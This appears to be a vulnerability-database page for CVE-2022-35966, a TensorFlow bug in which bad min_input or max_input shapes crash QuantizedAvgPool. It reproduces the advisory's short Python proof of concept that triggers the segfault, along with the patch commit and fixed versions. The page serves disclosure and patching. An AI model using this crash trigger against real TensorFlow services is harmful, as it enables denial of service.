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CVE-2022-35966 is a high severity vulnerability with a CVSS score of 7.5. No known exploits currently, and patches are available.
Very low probability of exploitation
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If QuantizedAvgPool is given min_input or max_input tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.
import tensorflow as tf
ksize = [1, 2, 2, 1]
strides = [1, 2, 2, 1]
padding = "SAME"
input = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8)
min_input = tf.constant([], shape=[0], dtype=tf.float32)
max_input = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizedAvgPool(input=input, min_input=min_input, max_input=max_input, ksize=ksize, strides=strides, padding=padding)
We have patched the issue in GitHub commit 7cdf9d4d2083b739ec81cfdace546b0c99f50622.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
| Vendor | Product |
|---|---|
| Tensorflow |
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